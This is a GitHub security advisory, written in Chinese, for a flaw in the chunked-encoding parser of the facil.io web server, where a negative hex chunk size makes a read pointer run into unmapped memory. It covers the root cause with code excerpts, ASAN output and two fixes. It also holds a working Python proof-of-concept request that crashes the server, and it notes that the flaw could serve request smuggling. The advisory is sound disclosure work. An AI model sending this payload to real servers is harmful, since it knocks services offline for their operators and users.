theopaid/CVE-2026-66731-Negative-Chunk-Size-Parsing-Causes-Memory-Corruption-leading-to-Server-Crash
GitHub: theopaid/CVE-2026-66731-Negative-Chunk-Size-Parsing-Causes-Memory-Corruption-leading-to-Server-Crash
披露 facil.io HTTP/1.1 解析器中因接受负数 chunk size 而导致内存损坏与服务器崩溃的漏洞详情、PoC 及修复方案。
Stars: 0 | Forks: 0
# 安全公告:facil.io 中负数 Chunk-Size 解析导致内存损坏
**分配的 CVE ID**:CVE-2026-66731
**产品:** facil.io
**受影响版本:** facil.io >= 0.7.5 (0.7.5, 0.7.6, master);在 0.7.5 版本回移 0.8.x HTTP/1.1 解析器时引入 - 在 0.6.x 或 0.7.0–0.7.3 版本中不存在
**组件:** `lib/facil/http/parsers/http1_parser.h`
**CWE:** CWE-20 (不正确的输入验证),CWE-682 (错误的计算),CWE-125 (越界读取)
**CVSS v3.1:** 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
**研究员:** Theodosis Paidakis
## 摘要
分块传输编码(chunked transfer encoding)解析器在 chunk size 值中接受了前导减号。`http1_atol16` 对于 `-FFFFFF` 这样的输入会返回负的 `long long` 值。解析器在 `content_length` 中存储 `0 - chunk_len` 作为“位于 chunk 内部”的哨兵值。当 `chunk_len` 为负数时,该减法运算会产生一个巨大的正数,从而破坏状态机。随后的指针计算会将读取指针向后移动数百万字节,越出输入缓冲区并进入未映射的内存区域,导致进程崩溃。仅凭一个未经身份验证的 POST 请求即可触发。
## 根本原因
**步骤 1:`http1_atol16` 接受前导减号**
**`lib/facil/http/parsers/http1_parser.h`, 第 316-346 行**
```
// lib/facil/http/parsers/http1_parser.h:316-346
static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
register unsigned long long i = 0;
uint8_t inv = 0;
for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
inv ^= (*(buf++) == '-'); // line 323: accepts '-', sets inv=1
/* ... parse hex digits into i ... */
if (inv)
i = 0ULL - i; // line 341: two's-complement negation
return i; // returns negative long long
}
```
输入 `-FFFFFF\r\n` 会产生 `chunk_len = -16777215LL`。RFC 7230 第 4.1 节规定 chunk size 必须是非负的十六进制整数。前导减号是无效的。
**步骤 2:状态机损坏**
**`lib/facil/http/parsers/http1_parser.h`, 第 681-690 行**
```
// lib/facil/http/parsers/http1_parser.h:681-690
long long chunk_len = http1_atol16(end, (const uint8_t **)&end); // line 681: = -16777215
// ...
parser->state.content_length = 0 - chunk_len; // line 688: = 0 - (-16777215) = +16777215
```
解析器使用负的 `content_length` 作为哨兵值,表示“当前正在读取 chunk 主体”。如果 `content_length` 变为了 `+16777215`,状态机会误认为它正在读取一个 16 MB 的普通(非分块)主体。
**步骤 3:指针向后越界进入未映射内存**
在下一次迭代中,解析器会执行以下计算:
```
// lib/facil/http/parsers/http1_parser.h (~line 726)
end = *start + (0 - parser->state.content_length);
// = *start + (0 - 16777215)
// = *start - 16777215 <-- 16 MB before the input buffer
```
对该地址的读取会导致内存错误。
## 概念验证
启动服务器,然后运行:
```
# poc_chunked_negative_size.py
import socket
req = (
b"POST / HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: close\r\n"
b"\r\n"
b"-FFFFFF\r\n" # negative hex chunk size
b"data\r\n"
b"0\r\n\r\n"
)
s = socket.socket()
s.settimeout(3)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
print(s.recv(4096))
print("check server")
except:
print("check server")
```
ASAN 输出(已确认):
```
AddressSanitizer: BUS at http1_parser.h:674
x[0] = 0xffffffffff000001 // pointer 16 MB before start
```
**根据发送的 chunk size 产生的不同影响:**
| Chunk size | 损坏后的 `content_length` | 结果 |
|---|---|---|
| `-0` | `0` | Body 被静默跳过;服务器存活 |
| `-1` | `+1` | 指针指向起始位置前 1 个字节 |
| `-FFFFFF` | `+16777215` | 指针指向起始位置前 16 MB;崩溃 |
| `-7FFFFFFF` | `+2147483647` | 指针指向起始位置前 2 GB;崩溃 |
注意:`-0` 的情况 (`0 - 0 = 0`) 会进入“分块主体读取完成”的分支并存活下来,但无论后面跟着什么数据,服务器都会将此请求视为具有空主体。在代理部署中,如果前端对分块编码的解析方式不同,这可能会被用作 HTTP 请求走私(request smuggling)的攻击原语。
## 影响
单个未经身份验证且带有负数 chunk size 的 `Transfer-Encoding: chunked` 请求就足以导致服务器崩溃。任何接受 HTTP/1.1 的应用程序都会受到影响;分块编码是核心协议特性,不需要应用级别的配置。
## 修复
以下任一方法均可修复此漏洞。推荐使用修复方案 1。
**修复方案 1:在 `http1_atol16` 中拒绝前导减号**
**`lib/facil/http/parsers/http1_parser.h`, 第 322 行**
```
// lib/facil/http/parsers/http1_parser.h:322 -- remove the sign loop for hex parsing
// Remove lines 322-323 entirely, or replace with:
if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; }
```
**修复方案 2:在使用前验证 `chunk_len`**
**`lib/facil/http/parsers/http1_parser.h`, 第 681 行**
```
// lib/facil/http/parsers/http1_parser.h:681
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
if (chunk_len < 0) return -1; // reject negative chunk sizes
parser->state.content_length = 0 - chunk_len;
```
## 与先前安全修复的关系
提交 `53caca31`(“Fix `atol16` to fix chunked length calculation”,2019 年 12 月)修复了溢出检测循环条件,但保留了符号处理代码。提交 `fe847cdf`(“fix HTTP/1.1 parser against smuggling attack”,2020 年 5 月)解决了 TE/CL 冲突(同时存在 `Transfer-Encoding` 和 `Content-Length` 的情况)。这两个提交均未涵盖负数 chunk size 的情况。
标签:C/C++, HTTP协议解析, Web服务器, 事务性I/O, 漏洞分析, 路径探测, 逆向工具